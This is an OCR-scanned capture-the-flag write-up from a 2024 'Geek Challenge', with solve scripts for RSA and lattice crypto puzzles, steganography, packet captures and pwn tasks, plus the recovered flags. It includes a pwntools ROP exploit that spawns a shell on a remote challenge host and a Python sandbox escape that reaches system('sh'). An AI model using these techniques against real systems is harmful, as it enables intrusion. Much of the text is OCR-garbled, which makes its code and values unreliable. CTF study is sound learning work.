36e3b187ecf930e294fc448c4ac6bfa9945078300b1619bc98d13275770f562874c7fd389badef4
€05019633566e65ba95e5a30e29a45b79774c6aaed89aa43105508e868941¢c81861120f50fel82e
33b80701e1714205759380
N2=0x3cc006e0dead7f834418109ac8cla447258¢c7da01223107fd255303613ce9ffc3faar4823a
28eale211a34c3491f20b49bb00447777e4d7f5139219e621b993562f7e705e0919ccbc414956e8a
6cc3e01812cabebl10558060fe0f7cO06dab3e5d6169ea5790e8613e2e804d399d1429529d3031738
f134e619a0deccel2bde4cd
c2=0x2de5d5191bf279ba3ea338bd4390a18d0233da9e050b3aa2644a9427eff787b4d74aa3c7dc
3481214247997ae32fb86428935e61234f9ef63e9b562c40b6b07c9133cad4672c9aa7f515d3f7d



10

11

12

13
14
15
16
17
18
19
20
21

22
23
24
25
26
27
28
29
30
31

067b6187d30e4346c4afeceaed31c3llbecf97acaddb2at42d459c61ceddf7b56cele®balscf28a
ed5415615aa9398fb494e5b
h2=0x2dd30b086f1c8fa7860ed5cdele02a062e8722ae9823579f764d5da86ec250b2dfee693446
3a06b133d791c3cfbe5f88a43bfae7f25cfb3efb61lcl0aa710aa76e2229241986fb16f1lae34a867
cb7ba641d5637b70a92027479€9c18d1372059a4e04a7298c5b279fa6d84abclb466b29bba8ala2
ea9e8ad568cl4afl7c4f50e
h3=0x35751402de3cb0f6481451a7b3665b3ddd15c9f0ad07398c4ee35c01ff926dd2545dc41d59
1fca58b485e3cd114d7c0a67196f95fcebc9391f10c89ded2blef3e5014ab8fe5ea33e2atblcd9a
f7d84fcal7e56e759b136578c29f679a64f0e2060492eee268af2304f7c689ece60a941ba8100dd
0d2afla45499afd1l0cf9eaa
a=0xc028af32e59098f182059e09d4463c34a71b5db98d0d538305102ce68cda72f6897606Fd8d9
33b51633e63c63be59cc3454e8d04d287eda3535f21a8c9496f9e5b62edc81eb971d55b9ecc20b4
d6671709e73atf110d1bef9413e9786032d268fd7d243d01cchdbeb0757e5a5affbc976e83f85bde
685618d592fe23d754919a2
n3=0x9c5ab7clcc9a4f60bld53afafd7016d00e811le5alc6th258c75a246a0630a75644100828e2
1757deld9a5ff99ebd05257aa9d895clde40a2eb619fa52f32b38ach52669841d528351df863137
boal4f4affe506cfOc7cdf1801c2bd3d7fb4e583811f4f771f7e5c0e5f42a85839affed38df8h91
3fab6a4e782adc028e5e86162f

m3=0x488d156b0cbef000f1bf6c47006a3595

e1=39847

€2=44021

pl=gmpy2.gcd(hl-pow(2024,n1,nl),nl)

ql=nl//pl

phil=(pl-1)*(ql-1)

dl=gmpy2.invert(el,phil)

p=pow(cl,dl,nl)

g2=gmpy2.gcd (pow(h3*pow(2023,2424,n2) ,2323,n2) -

pow (h2xpow (2024 ,2323,n2) ,2424,n2) ,n2)

p2=n2//q2

phi2=(p2-1)*(q2-1)

d2=gmpy2.invert(e2,phi2)

g=pow(c2,d2,n2)

e=3035716141

phi=(p-1)*(q-1)

d=gmpy2.invert(e,phi)

m=pow(c,d,p*q)

print(long_to_bytes(m))

#flag{IKnowYoul ikeReverseAndCrypto}

easy_LLL

BEF

(k,m,1)(p,0,0)=(c,m,2"180)

-3,1,0

¢,0,27180



1 from libnum import n2s

2 p =
1147700171426883823629182685588780248486330979284020936479145036964928337239668
0154571619454659234633859206233230637150225697915903396534300213295630462561013
4374822329402499359634555710129039614275145668904822690744696925414716152630310
915301980153974374009140517084226870950134327432658087834138202887501571

3 ¢c =
[252691576741200825003235854518429285604046259679326629085179227048718285133972
3385861500596812401742863985396055046854289427045187161249663164517501582620349
3265945456529848647562285359912541672751550625137876486033809099678631009005979
648033707322772087110235116987698692692467320479776960630479772236446980,
7582751741678464726299700408063434792463119086571521288262779118184184541425311
7114184423517850773219376565782814219713490136873921446382123059696483594598328
5104508113908666710026856117552052360168439424074198585928707169286487773623671
08239158432436307113173823883182666320180058177554647020175991566479974,
4000439731719746534404360339840675006453847582492745979982221624660296805996044
2392092861815414621876504871120174108397402818830270815398024790463858020211880
6765619059473461992793303215453474217538078389555984131852004514411356216424771
7915766667365412215754183668349398802684299015216478025166881475794536,
1671125714360685033658635558190970339110558063609543586348722553508301031700543
9435375105800641024112138121810242207127443011036209544967633123983636015153089
8438152873706465650717840020981830214898820464926094417083615507867528577735652
52821037805549119284258373739189052221307754872723967188683410620808193,
1065122279990489885435375423456365289255941071281250306350026659805747090065588
4044618901735762368182867793512501214468996379886597178291470461679823945197137
0511961281779438306334353650663495164449411037055054859128957955413918744183200
858441122917851347996800797164614883188302584586112732819164555910532500]

4 a =
[177876163920838720585474640511391249051418827853372387342635245341495792468826
1995446240821827280946529991917975767476057710627566308174387776539517724855694
7851632490395611330919079562225834682464339000483539727288925669608735623951588
1459115499360779486974615331766141255410923960657795391638070660994726539,
1541472118323843644927859974904974286962148439275031859388964255560286440759029
4952026773418942371747770228685484950256350555496583370354430565148848220471993
1055591825164774932532116940955079750398001376723036214113076925445019856194390
932639722726924707396244454184674407094860919513514591518499956074524561,
1622369103124164483033160792846261314524443522901104776201358428851250034930681
7233076617422599704909408083668561783691147563850828391857630450258284884709746
7251286819613975600023439985149604495163647781268904127545271241114039490048103
188362740808427663167350820948490766499995036870926879430699822216419877,
1563243306494658568652056526429191165514806100608304563233615147617834066131628
2655506636721582274714510922353038168978062503579500445891926236242037522556079
0467893332585836287433463308447660726674632677063603419250881619682710122472587
150879771212601074942044613408069114640355658551759306352327418458216623,
9472734936430845543270699172150460781050132987061961407337557094429870907465044
4442139356318854809081925625009516102978518170343525726627149123655332253529418



2924407470734636151065015301339307500102900512267659061942103729043234608842386
65194406125116885468971886527174150462509520345910607640580833401931201]
L = Matrix(zZzZ, [[p,0,0],
[-a[06],1,0],
[c[0],0,274180]])
print(n2s(int(L.LLL()[0][1])))
#SYC{125b-5c7b19c7-90e2-8d87c8a8}

© 00 N O O»n

WholsAdmin
SERGFINE

X var('x")

p = 281443

polynomial = xA17 - 222876

solutions = solve_mod([polynomial == 0], p)

print(solutions)
#print( 1640717 % 281443 == 222876)

o b~ W N -

gadgetiR%, HENEIAUEFLEI LT ret2syscall

1 from pwn -import *

2 from ctypes import *

3

4 context(os='linux', arch='"amd64', log_level='debug')
5

6 elf = ELF("./whoisadmin")

7 p = remote("ncl.ctfplus.cn", 44023)

8 #p = process("./main")

9

10 def strxor(al, a2):

11 return bytes([bl * b2 for bl,b2 1in zip(al,a2)])
12

13 def admin(atcode):

14 authcode = atcode

15 user_key = bytes.fromhex(authcode) [:16]

16 code = bytes.fromhex(authcode)[16:]

17 user_key = strxor (user_key,b'AdminAdminAdminA")
18 user_key = strxor (user_key,b'BinaryCryptoYYDS')
19 authcode = user_key.hex()+code.hex()
20 return authcode
21

22 def login(authcode):



23 p.sendline(b"7'")

24 p.sendlineafter(b"authcode:", authcode.encode())
25

26 def dncrease():

27 p.sendline(b"4'")

28 p.sendlineafter(b"satisfied???", b"1640")
29 p.sendlineafter(b"add?'", b"-1000")

30

31 def buy():

32 p.sendline(b"6")

33

34 def change():

35 p.sendline(b"8'")

36

37 p.sendline(b"1'")

38 p.recvuntil(b"Your account authcode: ")
39 authcode = p.recv(64).decode()

40 admin_authcode = admin(authcode)

41

42 Tlogin(admin_authcode)

43 Hncrease()

44 buy ()

45 change ()

46

47 rdi = 0x402db3

48 ret = 0x40101a

49 rdx = 0x401538

50 rax = 0x40153c

51 rsi_rl5 = 0x402dbl

52 syscall = 0x401527

53 sh_addr = 0x4052f0

54 payload = b"/bin/sh\x00"

55 payload = payload.ljust(0x28,b'"\x00")
56 payload = payload + p64(ret) + p64(rdi) + p64(sh_addr) + p64(rdx) + p64(0) +

p64(rsi_rl5) + p64(0) + p64(0) + p64(rax) + p64(59) + p64(syscall)
57 p.sendlineafter(b"Please 1input the new system name: ", payload)
58 p.interactive()
59
60 #flag{PwnAndCryptoAreBothVeryInteresting}

LinkedListModular

1 from Crypto.Util.number -import =*
2 "dimport gmpy2

3 dmport re



4
5
6
7
8
9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

key = "IKnowYoulLikeCrypto"
def extract_value(data, key):

start_index = data.find(f"{key}:") + len(key) + 1
data.find("\n'", start_index)

data[start_index:end_index].strip()

end_index

value_str
return int(value_str, 16)
flag=""
for dindex in range(4):
with open(f'cmp{index}.enc','r') as f:
s=f.read().strip()
Is=s.split(',"')
ss=""
for i in range(len(ls)):
if dil=len(ls)-1:
ss+=chr(int(ls[i][2:],16)"ord(key[i%len(key)]))
pattern = r"(?P<key>[pqgec]): (?P<value>0x[0-9a-fA-F]+)"
matches = re.findall(pattern, ss)
result = {match[0]: int(match[1][2:],16) for match in matches}
p=result['p']
g=result['q']
e=result['e']
c=result['c']
phi=(p-1)*(p-1)
_gcd=gmpy2.gcd(e,phi)
e=e//_gcd
d=gmpy2.invert(e,phi)
m=gmpy2.iroot(pow(c,d,p),_gcd) [O]
flag+=hex(m) [2:]
print(flag)
#688682bc45a04312e139153780fdd54a18517dd885464bdfa3dbcf776169255¢c9304306d542508
c59abt30199b98fefcd2951df2effc81fca8e5aa26414819cb144576b4302a8c5262d7d4d9b2ebb
3468835c709cc88fcOb8b38b52a6131d3ab6b25edeccfcf74fOdfc77abc90d757a49¢c1dOfblc90e
67db7918c61be80ad59c



Recipe SN W] Input

length: 256 =
e s T O3 W =

688682bc45a043f2e139153780fdd54af8517dd885464bdfa3dbcf776169255¢9304306d542508c59abf30fo9b98fefc

MD5

d2951df2effc8lfca8e5aa26414819cb144576b4302a8c5262d7d4d9b2ebb3468835¢709¢cc88fcob8b38b52a6131d3ab

6b25edeccfcf74fedfc77abc9@d757a49c1dafblc90e67db7918c61be8Bad59¢c

Output £«

d3fe6717efc6codaf454ffeacs764687

Misc

ez_jpg
base64->reverse->jpgi&imE R LLE Elflag
SYC{Steg_4nd_Zip_1s_G00d!}

Truth of Word
docX et fa&zipiEE1E EEtkflag:
Flag01=SYC{WOrd_H@5
Flag02 7=
Flag = @_Amaln9_

FLAGO3:StrUCtu3e!}

|_wanna_go_to_SYC

3R IEgame makerffif9i55x%, gm8decompilerk 4RiFFEIgmkXH, Fgame makeriJFFEIF]

EZlflag



{81 wanna_go to SYC.gmk - GameMaker 8.1 Lite - [Background Properties: background60] = =) X
& File Edit Resources Scripts Run Window Help

& s " i
) Sounds Hame: [baciguoundel T = Tutorial
5 Backgrounds 3 o1 Ft DLE f Fage 1 of 15
.tl:m (% Load Background Y First G
- pbac)umpT hrough ,
backgioundMegamd| i Save Background
a2 " Il ach you
backgiound3s < Edit Background p
backgiound_tree v ple
backgroundd2 Width: 513 Height 73 "
backgoandS4 || | e
et [ Use st set
background5s
47
o ey [ v ]
) Paths
) Senpls
) Fonls
) Time Line:
) Dbjects
) Rooms
i] Game Infoimation
Global Game Settings
Edension Package:

2024 geek challenge! &%
SYC{weLcOmE-tO-2_o_2_100-GeeK@challEnge!!}

Cimbar

F 0000 + 0100 = 1000 i 1100

h 0001 «« 0101

1001 w 1101

N 0010 o 0110 = 1010 < 1110

4 0011 A 0111 Y 1011 F 1111

01010011 01011001 0100001101111011 01000001 0110111000110000011101000110 1000
00110011011100100101111101000001 01101101 01000000011110100011000101101110
001110010101111101010001010100100101111101000011011011110011010001100101
01111101



. = start: 279 jength: 279 =
Recipe S Input end: 279 20T 4+ O S =

length: @

0101 0011 elel 1eel 0166 eell 0111 1011 ©1ee eeel e11e 1110 eell eeee elll elee e11e 1eee eell

EremlEina 0y 0011 0111 0ele olel 1111 olee o0l o110 110l 6100 600 011l 1016 001l ©eel o110 1116 eell 1eel
0101 1111 @101 eeel e1el eele elel 1111 elee eell e11e 1111 eell @1ee e1le elel o111 1161
Delimiter Byte Length
Space 8 <
start: 31 time: 1ms
end: 31 length: 28 I_
OUtput length: @ lines: 1 a D m
SYC{An@th3r_Am@z1n9_QR_Code}
=5
=

zZipXfFEbaseb4fiF— T ERNE B ED
—iKE R 5KEN{EEI: Thlsi4st8eK3y
fEsnowpa 515 %:SYC{Malby_yOu_w1lll_l1k3_snOw}

Welcome_jail

[].__class__.__mro__[-1].__subclasses__()

[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])
flagE/home/ctfBER T
SYC{444f4725-068e-4463-8ebc-89f820a3¢c968}

ez_pcap_1
SFHsmb2ZmB X4 vflag.txt.txtBI ]



Qe Qi

RE ] e=x =
<Ctrl-/>
No. Time Source Destination Protocol Length Info
748 23.9528... 192.168.161.128 192.168.1.. SMB2 260 Find Request File: SMB2_FIND_ID_BOTH_DIRECTORY_INFO Pi—
749 23.9538.. 192.168.161.130 192.168.1.. SMB2 562 Find Response;Find Response, Error: STATUS_NO_MORE_FILI
750 23.9539... 192.168.161.128 gy e o5 S mE I
751 23.9547.. 192.168.161.13€
752 23.9549.. 192.168.161.128 i | Content Type: |All Content-Types | |yt , txt
753 23.9553.. 192.168.161.13¢ ra Ao | g.txt.txt
| 754 23.9577.. 192.168.161.128 com\sysvol E:ti ﬁggf)ﬁ;[&gﬁx{)?g&oo%] ?zob?yi; :;?‘(I)St\.,ccom\Pohcles\(ﬂB2F340—016D—11DZ—945F—00C04F8984F9}\gpl.|n| File: flag.txt.txt
755 23.9587... 192.168.161.13¢ FILE (160/160) R&W [100.00%] 160 bytes \srvsvc
756 23.9610... 192.168.161.128 T ————— SMB2_FILE_STREAM_INFO File:
757 23.9613.. 192.168.161.13€
758 23.9669.. 192.168.161.128 ileFsVolumeInformation File: —
759 23.9674.. 192.168.161.13€ Response —
760 23.9675... 192.168.161.128 SMB2_FILE_EA_INFO File: flag
761 23.9679.. 192.168.161.13€
762 23.9958.. 192.168.161.128 vc =
< 7RI QAR 192 1AR 1A1 1279 V7l 5 N
Frame 755: 162 bytes on wire 00 Oc 29 52 8b e7 00 OCc 29 a4 6!
Ethernet II, Src: VMware_a4:63 00 94 06 00 40 00 80 66 30 10 cl
Internet Protocol Version 4, § al 80 01 bd de od 9f 39 @b 89 2
Transmission Control Protocol, 00 fb ef eb 60 00 66 00 00 68 fi
NetBIOS Session Service . ./ | ©1 00 00 00 00 00 08 0 01 00 O
SMB2 (Server Message Block Prg & 28RE || Preview B gg gg gg gg gg gg gg Zg gg gg ;
Data (24 bytes) 0070 ©0 GO 0O 00 00 00 00 08 00 00 1
0080 00 00 PO 00 00 00 00 00 00 00 5!
0090 62 5f 70 63 61 70 6e 67 5f 31 7.
00a0 21 7d
< > < >
O 7 flag.pcapng | $48: 872 - BE: 872 (100.0%) EE: Default

SYC{smb_pcapng_1s_g00d!}

ez_climbstairs

1 from pwn +import *

2 def count_ways(n):

3 if n == 0:

4 return 1

5 elif n == 1:

6 return 1

7 elif n == 2:

8 return 2

9 dp = [0] * (n + 1)

10 dp[0], dp[1l], dp[2] = 1, 1, 2
11 for i in range(3, n + 1):

12 dp[i] = dp[i - 1] + dp[i - 2] + dp[i - 3]
13 return dp[n]

14 +do=remote('ncl.ctfplus.cn',45028)
15 for i in range(100):

16 s=io.recv().strip().decode()
17 match = re.search(r'\d+', s)
18 number = int(match.group())
19 print(number)

20 ans=count_ways (number)



21 jo.sendline( (ans) .encode())

22 jo.recvuntil('\n'.encode())

23 ido.interactive()

10837

18966

28299

1739

11582

1782

21388

18356

18438

3095

4499

23614

26109

27477

25750

21776

12145

22486

10665

24666

7439

18424

16286

10783

2249

28865

14256

2362

17816

18195

6442

28744

16832

29113

6418

28578

22238

25239

21070

20754

21151

8260

19862

[*] Switching to interactive mode
HRER, 2PEXRT! flagG{R{EHERF: SYC{0b5e83U5-0e87-U397-ad21-8d55f73ebfab}
[*] Got EOF while reading in interactive
[*] Interrupted
[*] Closed connection to ncl.ctfplus.cn port 45028




— Tt @sstv

5] RX-SSTV v.2.2.0 7 2008-2024 ON6MU (SSTVENG.DLL v.1.06)
File Edit View Tools Setup Help
ExdRX ‘ @,Hislnry I

deepsound

Signal

1200 1500 1900 2300

R options
| Robot 36 Iﬂf_'_fff__f__ Listening. .|| FeSync
[ Martini 1 ] Martin 2 ] “x Slant

| scotie1 | PD120 | pgp

Robar3s -]

@L‘Eff Vaoe INGITIL]



DeepSound 2.2 = 0O X

- . ©: @

Hide Data Inside Audio Audio Converter Settings  Help
Open carrier files Add secret files Encode secret files Extract secret files
Carrier audio files :
File Dir Size (MB) | Data format

0 sunset.wav C:\Users\jyzho\Desktop 3.1 MB v2 (2024)

Secret files in C:\Users\jyzho\Desktop\sunset.wav:
Secret file name Size (MB)

@ secret.txt < 0.1 MB

—_

logolBE

« > C 25 calormen.com/jslogo/ B * In) e AER Chrome BJA ¢
2% — LogoiEs
LOgORBREES me i ma ne) ex BEE - iR

EE - (REREBHYTIER
— {RA LA —TREBRES
EZ - BANIR

REEZ B AnARIE

T0 star -
repeat 5 [ fd 100 rt 144 ]

clearscreen

star
T0 square :/ength
repeat 4 [ fd :Jength rt 90 1
END
T0 randomcolor
setcolor pick [ red orange yellow green blue violet ]
END
clearscreen

repeat 36 [ randomcolor square random 200 rt 10 ]

clearscreen window hideturtle
repeat 144 [
setlabelheight repcount
penup
fd repcount * repcount / 30
label “Logo
bk repcount * repcount / 30
pendown
rt 10
wait 5

showturtle

TO tree :size

if :size < 5 [forward :size back :size stopl
forward :size/3

- left 30 tree .size¥2/3 right 30
forward .size/6
right 25 tree .size/2 left 25
forward :size/3
right 25 tree -size/2 left 25
forward :size/6
back .size

END

clearscreen

tree 150

T0 fern :size :sign
if size < 1 [ stop ]

fd :size
— rt 70 * 'sign fern :size * 0.5  sign * -1 1t 70 *
s ) g Oz ) e
TR, .. 25 L
B 1+ 70 % -sion farn -<iza * 0 5 -cion v+ 70 % -sion




SYC{TU3T1E_P4INTING}

Y DB
5527 1388888888MRERFIG N F TR FMzZipEEE

re_data = """

1

2

3 with open("byte-revenge.txt","r+") as f:

4 hexdata = f.read().replace(" ","").replace('"\n","")
5 for i in range(0,len(hexdata)//2):

6 re_data += hexdata[2*i:2%i+2][::-1]

7 with open("zip.txt","w+") as ff:

8 ff.write(re_data)

© LETTEA VEIFE

TEEE,
BERSIEE, EIRRRER, BB, RIS, BYATHNE, FE TN

7]

éﬂf%ﬁawwal1EFE¢E,WEXM§$ﬁEﬁE,£mm%mm,EWE%%EEE,—M
U

T T FEEER

ez_pcap_2

=



ez pcap 2

(A1 ] EEEI/MNNgetsheliZFANARR, FEEGSEERSHERBTEXlag3 4,
B AR Eez pcap 1EEWT, BHAIKE T XNMag 3, REmiE

[{#R] MEBRHA—SHITREEIHA R ER X TR NS —IRE
B RED TS

1. EEARRYIE
2. X{HEHBTATARYsmbiRAS
3. NTLMIASERS bR/ /ZiaHElinERhash& i request/responsefT FBRIRYZRSR
4. DNSHgSSE Rt 2RR0 282
(BF4] i5Mez_pcap 1REBELE TE, ZRAAE—HAF
[flag] SYC{md5(##Z&smbjiAS &8 Hirtl2843))
(2] EEFANsMbRASE+7VHEIRIN, INERZIEISRE_UER

IR B root.com
M flag.pcapng - — X
SHEF) GREE) WAV BHEG) RO HIFA) SIHS) BBV ETEW) TEM  MEHH
REG QResEgI = aqaEH
<Ctrl-/> e
Time Source Destination Protocol Length Info ="
10.000000 192.168.161.130 192.168.161.129  TCP 66 51891 » 135 [SYN] Seq=0 Win=8192 Len=@ MSS=1:
2 0.000407 192.168.161.129 192.168.161.130 TCP 66 135 > 51891 [SYN, ACK] Seq=0 Ack=1 Win=8192 I—
3 0.000407 192.168.161.130 192.168.161.129 TCP 60 51891 -» 135 [ACK] Seq=1 Ack=1 Win=65536 Len=¢ —
4 0.000600 192.168.161.130 192.168.161.129  DCERPC 214 Bind: call_id: 3, Fragment: Single, 3 contexi——
50.002680 192.168.161.129 192.168.161.130  DCERPC 162 Bind_ack: call_id: 3, Fragment: Single, max_>—
6 0.002845 192.168.161.130 192.168.161.129 EPM 222 Map request, DRSUAPI, 32bit NDR =]
7 ©0.064625 192.168.161.129 192.168.161.130 TCP 60 135 » 51891 [ACK] Seq=109 Ack=329 Win=525312
8 0.080950 192.168.161.129 192.168.161.130 EPM 226 Map response, DRSUAPI, 32bit NDR
90.083147 192.168.161.130 192.168.161.129 TCP 66 51892 » 49667 [SYN] Seq=0 Win=8192 Len=0 MSS:
10 0.083312 192.168.161.129 192.168.161.130 TCP 66 49667 > 51892 [SYN, ACK] Seq=0 Ack=1 Win=819:—
11 ©.083464 192.168.161.130 192.168.161.129 TCP 60 51892 - 49667 [ACK] Seq=1 Ack=1 Win=65536 Ler——
12 ©.084113 192.168.161.130 192.168.161.129  TCP 66 51893 > 88 [SYN] Seq=0 Win=8192 Len=0 MSS=14¢
13 0.084167 192.168.161.129 192.168.161.130 TCP 66 88 > 51893 [SYN, ACK] Seq=0 Ack=1 Win=8192 L¢
14 ©0.084395 192.168.161.130 192.168.161.129 TCP 60 51893 -» 88 [ACK] Seq=1 Ack=1 Win=65536 Len=0
15 0.084547 192.168.161.130 192.168.161.129 KRB5 283 AS-REQ m—
16 ©.085353 192.168.161.129 192.168.161.130 KRB5 251 KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED —
17 ©.085905 192.168.161.130 192.168.161.129 TCP 60 51893 > 88 [FIN, ACK] Seq=230 Ack=198 Win=65
p 12 A AKRKKQAR 192 1AR 1A1 129 192 1AR 1AR1 1220 TCD AO R s R1R02 [ArK1 San=19R Arlk=7221 Inlin:E?ERAQ)I M
kdc-options: 40810010 " ff a4 81 b7 30 81 b4 a@ 07 03
cname al 1a 30 18 a0 03 02 01 01 al
realm: ROOT.COM 74 61 72 76 65 6e 2d 77 69 6e
sname 0090 a3 1id
till: Sep 13, 2037 10:48:05.000000000 o [EHR T [A] g2fatiid 30j12 b 666k 172 162
. —rpn Af Af 54 2e 43 Af 4d a5 11 18
rtime: Sep 13, 2037 10:48:05.000000000 prﬁfﬁﬁtj‘lﬂ 39 31 33 30 32 34 38 30 35 53
nonce: 334825764 33 37 30 39 31 33 30 32 34 38
etype: 6 items 04 13 f5 09 24 a8 15 30 13 02
addresses: 1 item STARVEN-WIN7<20> 01 17 02 01 18 02 02 ff 79 02
Response in: 16 30 19 a0 03 02 01 14 a1 12 @4

45 4e 2d 57 49 4e 37 20 20 20

< > < >
@ 7 realm (kerberos.realm), 8 byte(s) 434R: 872 EZE: Default


http://root.com/

smbhiRZx50x0210

M flag.pcapng — X
R REE WEV) BEEG) BERQ SN MO BIEY) FEW) TAEM  Bme)
Am 2@ 1 NREBIAeEFesEEaaa
(M memgs .. <cti/> -]+
No. Time Source Destination Protocol Length Info )
122 0.656841 192.168.161.130 192.168.161.129 LDAP 534 SASL GSS-API Integrity: searchRequest(10) "c
123 0.657403 192.168.161.129 192.168.161.130 LDAP 1274 SASL GSS-API Integrity: searchResEntry(10) "¢
124 0.668136 192.168.161.130 192.168.161.129 DNS 68 Standard query ©x7031 A root.com
125 0.668525 192.168.161.129 192.168.161.130 DNS 84 Standard query response 0x7031 A root.com A
128 ©.677458 192.168.161.130 192.168.161.129 TCP 60 51901 - 445 [ACK] Seq=1 Ack=1 Win=65536 Len=¢
1290.677616 192.168.161.130 192.168.161.129 SMB 213 Negotiate Protocol Request
130 0.736853 192.168.161.129 192.168.161.130 TCP 60 445 > 51901 [ACK] Seq=1 Ack=160 Win=525568 L¢
131 0.786906 192.168.161.129 192.168.161.130 SMB2 306 Negotiate Protocol Response
- 132 0.787264 192.168.161.130 192.168.161.129 SMB2 162 Negotiate Protocol Request
134 0.801194 192.168.161.129 52.183.220.149 TCP 60 58192 - 443 [ACK] Seq=1 Ack=1 Win=64240 Len=¢
135 0.845868 192.168.161.129 192.168.161.130 TCP 60 445 > 51901 [ACK] Seq=253 Ack=268 Win=525312
-« 136 ©.859706 192.168.161.129 192.168.161.130 SMB2 306 Negotiate Protocol Response
! 120 0 RA1AR?2 102 1AR 1A1 1220 192 1AR 1A1 12Q TCD AO E1007 - R [ACK1 Soan=1 Arl=1 Win=ARER2A | an=0 v
< >
[Preauth Hash: f3db7fcf79b5b57204edd182a59896bf9bf6e29f6b07e95fF1bacf5ed204a90ecb32ac” | 0070 [ NloN=Io= I I M I M=M= [l ~
> StructureSize: ox0041 OOE6 00 00 ec 57 25 83 54 98 76 4e
> Security mode: @x@3, Signing enabled, Signing required 2292 :g Zg g; 20 92 22 gg gg jg gg
Dialect: SMB 2.1 (©x0210 N e a
Reserved: @ ( ) ©obo db 01 80 00 78 00 00 00 00 00
. . ©0ce 01 5 ©5 02 av 6Cc 30 ba ad 3c
Server Guid: 832557ec-9854-4e76-ac99-640015e1a894 B o1 04 01 52 37 62 92 le 96 89
> Capabilities: ©x00000007, DFS, LEASING, LARGE MTU 09c0 91 92 02 06 09 23 86 48 86 f7
Max Transaction Size: 8388608 0ofo 2a 86 48 86 f7 12 01 02 02 03
Max Read Size: 8388608 0166 01 82 37 02 02 ©a a3 2a 30 28
Max Write Size: 8388608 0110 74 5f 64 65 66 69 6e 65 64 5f
Current Time: Oct 10, 2024 20:43:57.381189600 M [EFrHERT[H] .|| @126 34 31 37 38 40 70 6C 65 61 73
< > < >
@ 7 Dialect (smb2.dialect), 2 byte(s) | #4872 || E®: Default

NTLMIAIERS Bk EL/Z Ml N hash £ B request/responseFr B EIFIZEH, tHFELENTLM Server
Challenge: e7842d09b0cc9ef4

M flag.pcapng _ %
X REE WEV) BHEG) IO HHA) SHS) WIEY) FEW) TAM  #EHH)

Am 2@ I NRB QesEF I = aaafH

(N[EmemgEE .. <Ctil/> = )+

Source

No. Time

Destination Protocol Length Info

218013 192.168. 192.168. 54 53403 - 445 [ACK] Seq=1 Ack=1 Win=2102272 Le
250 7.218072 192.168.161.128 192.168.161.130  SMB2 310 Negotiate Protocol Request
251 7.220156 192.168.161.130 192.168.161.128  SMB2 306 Negotiate Protocol Response
- 2527.221682 192.168.161.128 192.168.161.130  SMB2 220 Session Setup Request, NTLMSSP_NEGOTIATE
253 7.222381 192.168.161.130 192.168.161.128  SMB2 367 Session Setup Response, Error: STATUS_MORE_PF
222593 192.168.161.128 192.168.161.130  SMB2 679 Session Setup Request, NTLMSSP_AUTH, User: W
4 LLocL 19£4.1086.101.15 194.1 101.12 NE I L | d
226370 192.168. 192.168. 159 Session Setup Response
258 7.226561 192.168.161.128 192.168.161.130  SMB2 174 Tree Connect Request Tree: \\192.168.161.130
259 7.226751 192.168.161.130 192.168.161.128  SMB2 138 Tree Connect Response
260 7.226794 192.168.161.128 192.168.161.130  SMB2 212 Toctl Request FSCTL_VALIDATE_NEGOTIATE_INFO
261 7.227038 192.168.161.130 192.168.161.128  SMB2 131 Ioctl Response, Error: STATUS_FILE_CLOSED
262 7.227234 192.168.161.128 192.168.161.130  SMB2 226 Toctl Request FSCTL_DFS_GET_REFERRALS, File:
263 7.227433 192.168.161.130 192.168.161.128  SMB2 131 Ioctl Response, Error: STATUS_FS_DRIVER_REQU
) 2A/A 7 772281 102 1A% 1A1 128 102 1A% 1A1 120 SMR? 17A Traa Cannart Raninact Traa: \\102 1AR 1A1 120 v
responseToken [..]: 4e544c4d5353500002 3 158289e2e7842d09bc" || ©6bo ©0 38 00 00 00 15 82 89 e2 e7 *
v NTLM Secure Service Provider 00co f4 00 00 00 0O 0O 00 PO 00 8e
NTLMSSP identifier: NTLMSSP ggdg gg g; g; ;g gg gg 2? gg ii
. e
) ﬁzt:e‘htde;::g? ;ggi NTLMSSP_CHALLENGE (0©x00000002) 00f0 ©0 53 00 54 00 41 06 52 00 56
. . . . 0160 00 57 00 49 00 4e 00 37 00 04
> Negotiate Flags: ©xe2898215, Negotiate 56, Negotiate Key Exchange, Negotiat 9110 00 6f 00 74 00 2e 00 63 00 6f
NTLM Server Challenge: e7842d@9bocc9ef4 0120 ©0 53 90 74 00 61 00 72 00 76
Reserved: 0000000000000000 0130 00 57 00 69 00 6e 00 37 0O 2e
> Target Info 0140 ©0 74 00 2e 00 63 00 6f 00 6d
> Version 6.1 (Build 7601); NTLM Current Revision 15 0150 00 6f 00 6f 00 74 00 2e 00 63
.| 0160 00 08 00 5a 99 63 16 12 1b db |
< > < >
@ 7 NTLM Server Challenge (ntimssp.ntimserverchallenge), 8 byte(s) H 34R: 872 H EE: Default



DNSPRSS28FR b A 2S FIM 28 2 WIN-GP726AF9QHQ.root.com

M flag.pcapng — X

XHF) RWEE)  WENV) BHEG) WEIKO)  SHA) HS) BIEY  FEW) TAEM  #EH)

Am2® RE Qes=g s S aaaiH

e B )+
Source Destination Protocol Length Info L m

823 192.168.161.129 150.171.10.240 DNS 114 Standard query 0x9d13 A atm-settingsfe-prod-geo2.trafficmanag

981 150.171.10.240 192.168.161.129  DNS 182 Standard query response ©x9d13 A atm-settingsfe-prod-geo2.tra

492 192.168.161.129 150.171.10.1 DNS 125 Standard query ©x5ad7 A settings-prod-scus-2.southcentralus.c

379 fe80::9840:9be5:1a4c:.. ffO2::c SSDP 208 M-SEARCH * HTTP/1.1

644 150.171.10.1 192.168.161.129  DNS 141 Standard query response ©x5ad7 A settings-prod-scus-2.southce

101 192.168.161.130 192.168.161.129  DNS 126 Standard query 0x93cb SRV _ldap._tcp.Default-First-Site-Name.

473 192.168.161.129 192.168.161.130  DNS 197 Standard query response ©x93cb No such name SRV _ldap._tcp.De

114 192.168.161.130 192.168.161.129 DNS 95 Standard query ©x7595 SRV _ldap._tcp.WIN-GP726AF9QHQ.root.com

114 192.168.161.129 192.168.161.130  DNS 166 Standard query response ©x7595 No such name SRV _ldap._tcp.WI

136 192.168.161.130 192.168.161.129 DNS 68 Standard query 0x7031 A root.com

525 192.168.161.129 192.168.161.130 DNS 84 Standard query response 0x7031 A root.com A 192.168.161.129

017 fe80::9840:9be5:1a4c:.. ff02::c SSDP 208 M-SEARCH * HTTP/1.1

197 192.168.161.130 192.168.161.255 NBNS 92 Name query NB WPAD<©®@>

